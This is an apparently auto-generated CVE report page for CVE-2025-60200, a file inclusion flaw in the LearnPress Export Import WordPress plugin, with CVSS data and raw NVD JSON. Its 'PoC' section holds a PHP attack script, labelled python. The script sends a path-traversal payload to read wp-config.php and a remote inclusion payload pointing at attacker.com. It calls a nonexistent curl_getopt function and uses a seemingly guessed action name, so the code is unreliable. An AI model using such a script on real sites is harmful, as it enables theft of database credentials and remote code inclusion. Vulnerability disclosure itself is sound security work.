Security Vulnerability Report
中文
CVE-2025-60200 CVSS 7.5 HIGH

CVE-2025-60200

Published: 2025-11-06 16:16:05
Last Modified: 2026-04-27 16:16:33

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThimPress LearnPress Export Import learnpress-import-export allows PHP Local File Inclusion.This issue affects LearnPress Export Import: from n/a through <= 4.1.2.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

LearnPress Export Import <= 4.1.2
LearnPress Export Import <= 4.0.9 (已知存在LFI变种)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-60200 PoC - LearnPress Export Import LFI/RFI * Usage: php poc.php <target_url> [payload_type] * payload_type: local (default) or remote */ $target = $argv[1] ?? ''; $payload_type = $argv[2] ?? 'local'; if (empty($target)) { echo "Usage: php poc.php <target_url> [local|remote]\n"; echo "Example: php poc.php http://target.com/wp-admin/admin-ajax.php local\n"; exit(1); } // Local File Inclusion payload - Read wp-config.php $local_payload = array( 'action' => 'learnpress_import_file', 'file' => '../../../../wp-config.php', ); // Remote File Inclusion payload (if allow_url_include is enabled) $remote_payload = array( 'action' => 'learnpress_import_file', 'file' => 'http://attacker.com/malicious.txt', ); $payload = ($payload_type === 'remote') ? $remote_payload : $local_payload; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getopt($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[*] Sending payload: " . ($payload_type === 'remote' ? 'Remote' : 'Local') . " File Inclusion\n"; echo "[*] Target: $target\n"; echo "[*] HTTP Code: $http_code\n"; echo "[+] Response:\n"; echo $response; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60200", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:05.423", "lastModified": "2026-04-27T16:16:33.103", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThimPress LearnPress Export Import learnpress-import-export allows PHP Local File Inclusion.This issue affects LearnPress Export Import: from n/a through <= 4.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/learnpress-import-export/vulnerability/wordpress-learnpress-export-import-plugin-4-0-9-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}